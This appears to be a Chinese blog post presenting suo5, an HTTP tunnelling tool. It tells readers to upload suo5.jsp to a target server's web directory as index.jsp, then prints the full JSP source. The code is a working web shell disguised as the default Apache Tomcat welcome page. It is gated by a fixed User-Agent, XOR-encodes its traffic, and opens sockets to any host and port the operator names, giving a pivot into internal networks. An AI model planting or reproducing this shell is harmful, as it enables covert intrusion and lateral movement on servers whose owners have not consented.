Suo5-HTTP 代理隧道工具

Suo5-HTTP 代理隧道工具

一、介绍

地址: https://github.com/zema1/suo5

suo5 是一个全新的 HTTP 代理隧道,基于 HTTP/1.1 的 Chunked-Encoding 构建。相比 Neo-reGeorg 等传统隧道工具, suo5 的性能可以达到其数十倍

在这里插入图片描述

在这里插入图片描述

二、使用方式

上传suo5.jsp 到目标解析目录即可,改名为index.jsp
在这里插入图片描述

在这里插入图片描述

<%--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements.  See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License.  You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--%>



<%@ page session="false" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
<%
java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy");
request.setAttribute("year", sdf.format(new java.util.Date()));
request.setAttribute("tomcatUrl", "https://tomcat.apache.org/");
request.setAttribute("tomcatDocUrl", "/docs/");
request.setAttribute("tomcatExamplesUrl", "/examples/");
%>

<%@ page trimDirectiveWhitespaces="true" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.io.*" %>
<%@ page import="java.net.Socket" %>
<%@ page import="java.net.InetSocketAddress" %>
<%@ page import="java.util.Date" %>
<%@ page import="java.util.Arrays" %>
<%!
    public class Safety implements Runnable {

        InputStream gInStream;
        OutputStream gOutStream;

        private void setStream(InputStream in, OutputStream out) {
            gInStream = in;
            gOutStream = out;
        }

        public void process(ServletRequest sReq, ServletResponse sResp)  {
            HttpServletRequest request = (HttpServletRequest) sReq;
            HttpServletResponse response = (HttpServletResponse) sResp;
            String agent = request.getHeader("User-Agent");
            String contentType = request.getHeader("Content-Type");

            if (agent == null || !agent.equals("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3")) {
                return;
            }
            if (contentType == null) {
                return;
            }

            try {
                if (contentType.equals("application/plain")) {
                    tryFullDuplex(request, response);
                    return;
                }

                if (contentType.equals("application/octet-stream"))  {
                    processDataBio(request, response);
                } else {
                    processDataUnary(request, response);
                }
            } catch (Throwable e) {

            }
        }

        public void readInputStreamWithTimeout(InputStream is, byte[] b, int timeoutMillis) throws IOException, InterruptedException {
            int bufferOffset = 0;
            long maxTimeMillis = new Date().getTime() + timeoutMillis;
            while (new Date().getTime() < maxTimeMillis && bufferOffset < b.length) {
                int readLength = b.length - bufferOffset;
                if (is.available() < readLength) {
                    readLength = is.available();
                }
                // can alternatively use bufferedReader, guarded by isReady():
                int readResult = is.read(b, bufferOffset, readLength);
                if (readResult == -1) break;
                bufferOffset += readResult;
                Thread.sleep(200);
            }
        }

        public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
            InputStream in = request.getInputStream();
            byte[] data = new byte[32];
            readInputStreamWithTimeout(in, data, 2000);
            OutputStream out = response.getOutputStream();
            out.write(data);
        }


        private HashMap newCreate(byte s) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x04});
            m.put("s", new byte[]{s});
            return m;
        }

        private HashMap newData(byte[] data) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x01});
            m.put("dt", data);
            return m;
        }

        private HashMap newDel() {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x02});
            return m;
        }

        private HashMap newStatus(byte b) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("s", new byte[]{b});
            return m;
        }

        byte[] u32toBytes(int i) {
            byte[] result = new byte[4];
            result[0] = (byte) (i >> 24);
            result[1] = (byte) (i >> 16);
            result[2] = (byte) (i >> 8);
            result[3] = (byte) (i /*>> 0*/);
            return result;
        }

        int bytesToU32(byte[] bytes) {
            return ((bytes[0] & 0xFF) << 24) |
                    ((bytes[1] & 0xFF) << 16) |
                    ((bytes[2] & 0xFF) << 8) |
                    ((bytes[3] & 0xFF) << 0);
        }


        private byte[] marshal(HashMap<String, byte[]> m) throws IOException {
            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            for (String key : m.keySet()) {
                byte[] value = m.get(key);
                buf.write((byte) key.length());
                buf.write(key.getBytes());
                buf.write(u32toBytes(value.length));
                buf.write(value);
            }

            byte[] data = buf.toByteArray();
            ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
            dbuf.putInt(data.length);
            // xor key
            byte key = data[data.length / 2];
            dbuf.put(key);
            for (int i = 0; i < data.length; i++) {
                data[i] = (byte) (data[i] ^ key);
            }
            dbuf.put(data);
            return dbuf.array();
        }

        private HashMap<String, byte[]> unmarshal(InputStream in) throws Exception {
            DataInputStream reader = new DataInputStream(in);
            byte[] header = new byte[4 + 1];
            reader.readFully(header);
            // read full
            ByteBuffer bb = ByteBuffer.wrap(header);
            int len = bb.getInt();
            int x = bb.get();
            if (len > 1024 * 1024 * 32) {
                throw new IOException("invalid len");
            }
            byte[] bs = new byte[len];
            reader.readFully(bs);
            for (int i = 0; i < bs.length; i++) {
                bs[i] = (byte) (bs[i] ^ x);
            }
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            byte[] buf;
            for (int i = 0; i < bs.length - 1; ) {
                short kLen = bs[i];
                i += 1;
                if (i + kLen >= bs.length) {
                    throw new Exception("key len error");
                }
                if (kLen < 0) {
                    throw new Exception("key len error");
                }
                buf = Arrays.copyOfRange(bs, i, i+kLen);
                String key = new String(buf);
                i += kLen;

                if (i + 4 >= bs.length) {
                    throw new Exception("value len error");
                }
                buf = Arrays.copyOfRange(bs, i, i+4);
                int vLen = bytesToU32(buf);
                i += 4;
                if (vLen < 0) {
                    throw new Exception("value error");
                }

                if (i + vLen > bs.length) {
                    throw new Exception("value error");
                }
                byte[] value = Arrays.copyOfRange(bs, i, i+vLen);
                i += vLen;

                m.put(key, value);
            }
            return m;
        }

        private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
            final InputStream reqInputStream = request.getInputStream();
            final BufferedInputStream reqReader = new BufferedInputStream(reqInputStream);
            HashMap<String, byte[]> dataMap;
            dataMap = unmarshal(reqReader);

            byte[] action = dataMap.get("ac");
            if (action.length != 1 || action[0] != 0x00) {
                resp.setStatus(403);
                return;
            }
            resp.setBufferSize(8 * 1024);
            final OutputStream respOutStream = resp.getOutputStream();

            resp.setHeader("X-Accel-Buffering", "no");
            String host = new String(dataMap.get("h"));
            int port = Integer.parseInt(new String(dataMap.get("p")));
            Socket sc;
            try {
                sc = new Socket();
                sc.connect(new InetSocketAddress(host, port), 5000);
            } catch (Exception e) {
                respOutStream.write(marshal(newStatus((byte) 0x01)));
                respOutStream.flush();
                respOutStream.close();
                return;
            }

            respOutStream.write(marshal(newStatus((byte) 0x00)));
            respOutStream.flush();

            final OutputStream scOutStream = sc.getOutputStream();
            final InputStream scInStream = sc.getInputStream();

            Thread t = null;
            try {
                Safety p = new Safety();
                p.setStream(scInStream, respOutStream);
                t = new Thread(p);
                t.start();
                readReq(reqReader, scOutStream);
            } catch (Exception e) {

            } finally {
                sc.close();
                respOutStream.close();
                if (t != null) {
                    t.join();
                }
            }
        }

        private void readSocket(InputStream inputStream, OutputStream outputStream) throws IOException {
            byte[] readBuf = new byte[1024 * 8];

            while (true) {
                int n = inputStream.read(readBuf);
                if (n <= 0) {
                    break;
                }
                byte[] dataTmp = Arrays.copyOfRange(readBuf, 0, 0+n);
                byte[] finalData = marshal(newData(dataTmp));
                outputStream.write(finalData);
                outputStream.flush();
            }
        }

        private void readReq(BufferedInputStream bufInputStream, OutputStream socketOutStream) throws Exception {
            while (true) {
                HashMap<String, byte[]> dataMap;
                dataMap = unmarshal(bufInputStream);

                byte[] action = dataMap.get("ac");
                if (action.length != 1) {
                    return;
                }
                if (action[0] == 0x02) {
                    socketOutStream.close();
                    return;
                } else if (action[0] == 0x01) {
                    byte[] data = dataMap.get("dt");
                    if (data.length != 0) {
                        socketOutStream.write(data);
                        socketOutStream.flush();
                    }
                } else {
                    return;
                }
            }
        }

        private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
                Exception {
            InputStream is = request.getInputStream();
            ServletContext ctx = request.getSession().getServletContext();
            BufferedInputStream reader = new BufferedInputStream(is);
            HashMap<String, byte[]> dataMap;
            dataMap = unmarshal(reader);

            String clientId = new String(dataMap.get("id"));
            byte[] action = dataMap.get("ac");
            if (action.length != 1) {
                resp.setStatus(403);
                return;
            }

            resp.setBufferSize(8 * 1024);
            OutputStream respOutStream = resp.getOutputStream();
            if (action[0] == 0x02) {
                OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId);
                if (scOutStream != null) {
                    scOutStream.close();
                }
                return;
            } else if (action[0] == 0x01) {
                OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId);
                if (scOutStream == null) {
                    respOutStream.write(marshal(newDel()));
                    respOutStream.flush();
                    respOutStream.close();
                    return;
                }
                byte[] data = dataMap.get("dt");
                if (data.length != 0) {
                    scOutStream.write(data);
                    scOutStream.flush();
                }
                respOutStream.close();
                return;
            }

            resp.setHeader("X-Accel-Buffering", "no");
            String host = new String(dataMap.get("h"));
            int port = Integer.parseInt(new String(dataMap.get("p")));
            Socket sc;
            try {
                sc = new Socket();
                sc.connect(new InetSocketAddress(host, port), 5000);
            } catch (Exception e) {
                respOutStream.write(marshal(newStatus((byte) 0x01)));
                respOutStream.flush();
                respOutStream.close();
                return;
            }

            OutputStream scOutStream = sc.getOutputStream();
            ctx.setAttribute(clientId, scOutStream);
            respOutStream.write(marshal(newStatus((byte) 0x00)));
            respOutStream.flush();

            InputStream scInStream = sc.getInputStream();

            try {
                readSocket(scInStream, respOutStream);
            } catch (Exception e) {

            } finally {
                sc.close();
                respOutStream.close();
                ctx.removeAttribute(clientId);
            }
        }

        public void run() {
            try {
                readSocket(gInStream, gOutStream);
            } catch (Exception e) {

            }
        }
    }
%>
<%
    Safety o = new Safety();
    o.process(request, response);
%>

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title><%=request.getServletContext().getServerInfo() %></title>
        <link href="favicon.ico" rel="icon" type="image/x-icon" />
        <link href="tomcat.css" rel="stylesheet" type="text/css" />
    </head>

    <body>
        <div id="wrapper">
            <div id="navigation" class="curved container">
                <span id="nav-home"><a href="${tomcatUrl}">Home</a></span>
                <span id="nav-hosts"><a href="${tomcatDocUrl}">Documentation</a></span>
                <span id="nav-config"><a href="${tomcatDocUrl}config/">Configuration</a></span>
                <span id="nav-examples"><a href="${tomcatExamplesUrl}">Examples</a></span>
                <span id="nav-wiki"><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Wiki</a></span>
                <span id="nav-lists"><a href="${tomcatUrl}lists.html">Mailing Lists</a></span>
                <span id="nav-help"><a href="${tomcatUrl}findhelp.html">Find Help</a></span>
                <br class="separator" />
            </div>
            <div id="asf-box">
                <h1>${pageContext.servletContext.serverInfo}</h1>
            </div>
            <div id="upper" class="curved container">
                <div id="congrats" class="curved container">
                    <h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
                </div>
                <div id="notice">
                    <img id="tomcat-logo" src="tomcat.svg" alt="[tomcat logo]" />
                    <div id="tasks">
                        <h3>Recommended Reading:</h3>
                        <h4><a href="${tomcatDocUrl}security-howto.html">Security Considerations How-To</a></h4>
                        <h4><a href="${tomcatDocUrl}manager-howto.html">Manager Application How-To</a></h4>
                        <h4><a href="${tomcatDocUrl}cluster-howto.html">Clustering/Session Replication How-To</a></h4>
                    </div>
                </div>
                <div id="actions">
                    <div class="button">
                        <a class="container shadow" href="/manager/status"><span>Server Status</span></a>
                    </div>
                    <div class="button">
                        <a class="container shadow" href="/manager/html"><span>Manager App</span></a>
                    </div>
                    <div class="button">
                        <a class="container shadow" href="/host-manager/html"><span>Host Manager</span></a>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="middle" class="curved container">
                <h3>Developer Quick Start</h3>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatDocUrl}setup.html">Tomcat Setup</a></p>
                        <p><a href="${tomcatDocUrl}appdev/">First Web Application</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatDocUrl}realm-howto.html">Realms &amp; AAA</a></p>
                        <p><a href="${tomcatDocUrl}jndi-datasource-examples-howto.html">JDBC DataSources</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatExamplesUrl}">Examples</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a href="https://cwiki.apache.org/confluence/display/TOMCAT/Specifications">Servlet Specifications</a></p>
                        <p><a href="https://cwiki.apache.org/confluence/display/TOMCAT/Tomcat+Versions">Tomcat Versions</a></p>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="lower">
                <div id="low-manage" class="">
                    <div class="curved container">
                        <h3>Managing Tomcat</h3>
                        <p>For security, access to the <a href="/manager/html">manager webapp</a> is restricted.
                        Users are defined in:</p>
                        <pre>$CATALINA_HOME/conf/tomcat-users.xml</pre>
                        <p>In Tomcat 9.0 access to the manager application is split between
                           different users. &nbsp; <a href="${tomcatDocUrl}manager-howto.html">Read more...</a></p>
                        <br />
                        <h4><a href="${tomcatDocUrl}RELEASE-NOTES.txt">Release Notes</a></h4>
                        <h4><a href="${tomcatDocUrl}changelog.html">Changelog</a></h4>
                        <h4><a href="${tomcatUrl}migration.html">Migration Guide</a></h4>
                        <h4><a href="${tomcatUrl}security.html">Security Notices</a></h4>
                    </div>
                </div>
                <div id="low-docs" class="">
                    <div class="curved container">
                        <h3>Documentation</h3>
                        <h4><a href="${tomcatDocUrl}">Tomcat 9.0 Documentation</a></h4>
                        <h4><a href="${tomcatDocUrl}config/">Tomcat 9.0 Configuration</a></h4>
                        <h4><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Tomcat Wiki</a></h4>
                        <p>Find additional important configuration information in:</p>
                        <pre>$CATALINA_HOME/RUNNING.txt</pre>
                        <p>Developers may be interested in:</p>
                        <ul>
                            <li><a href="https://tomcat.apache.org/bugreport.html">Tomcat 9.0 Bug Database</a></li>
                            <li><a href="${tomcatDocUrl}api/index.html">Tomcat 9.0 JavaDocs</a></li>
                            <li><a href="https://github.com/apache/tomcat/tree/9.0.x">Tomcat 9.0 Git Repository at GitHub</a></li>
                        </ul>
                    </div>
                </div>
                <div id="low-help" class="">
                    <div class="curved container">
                        <h3>Getting Help</h3>
                        <h4><a href="${tomcatUrl}faq/">FAQ</a> and <a href="${tomcatUrl}lists.html">Mailing Lists</a></h4>
                        <p>The following mailing lists are available:</p>
                        <ul>
                            <li id="list-announce"><strong><a href="${tomcatUrl}lists.html#tomcat-announce">tomcat-announce</a><br />
                                Important announcements, releases, security vulnerability notifications. (Low volume).</strong>
                            </li>
                            <li><a href="${tomcatUrl}lists.html#tomcat-users">tomcat-users</a><br />
                                User support and discussion
                            </li>
                            <li><a href="${tomcatUrl}lists.html#taglibs-user">taglibs-user</a><br />
                                User support and discussion for <a href="${tomcatUrl}taglibs/">Apache Taglibs</a>
                            </li>
                            <li><a href="${tomcatUrl}lists.html#tomcat-dev">tomcat-dev</a><br />
                                Development mailing list, including commit messages
                            </li>
                        </ul>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="footer" class="curved container">
                <div class="col20">
                    <div class="container">
                        <h4>Other Downloads</h4>
                        <ul>
                            <li><a href="${tomcatUrl}download-connectors.cgi">Tomcat Connectors</a></li>
                            <li><a href="${tomcatUrl}download-native.cgi">Tomcat Native</a></li>
                            <li><a href="${tomcatUrl}taglibs/">Taglibs</a></li>
                            <li><a href="${tomcatDocUrl}deployer-howto.html">Deployer</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Other Documentation</h4>
                        <ul>
                            <li><a href="${tomcatUrl}connectors-doc/">Tomcat Connectors</a></li>
                            <li><a href="${tomcatUrl}connectors-doc/">mod_jk Documentation</a></li>
                            <li><a href="${tomcatUrl}native-doc/">Tomcat Native</a></li>
                            <li><a href="${tomcatDocUrl}deployer-howto.html">Deployer</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Get Involved</h4>
                        <ul>
                            <li><a href="${tomcatUrl}getinvolved.html">Overview</a></li>
                            <li><a href="${tomcatUrl}source.html">Source Repositories</a></li>
                            <li><a href="${tomcatUrl}lists.html">Mailing Lists</a></li>
                            <li><a href="https://cwiki.apache.org/confluence/display/TOMCAT/">Wiki</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Miscellaneous</h4>
                        <ul>
                            <li><a href="${tomcatUrl}contact.html">Contact</a></li>
                            <li><a href="${tomcatUrl}legal.html">Legal</a></li>
                            <li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li>
                            <li><a href="https://www.apache.org/foundation/thanks.html">Thanks</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Apache Software Foundation</h4>
                        <ul>
                            <li><a href="${tomcatUrl}whoweare.html">Who We Are</a></li>
                            <li><a href="${tomcatUrl}heritage.html">Heritage</a></li>
                            <li><a href="https://www.apache.org">Apache Home</a></li>
                            <li><a href="${tomcatUrl}resources.html">Resources</a></li>
                        </ul>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <p class="copyright">Copyright &copy;1999-${year} Apache Software Foundation.  All Rights Reserved</p>
        </div>
    </body>

</html>

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值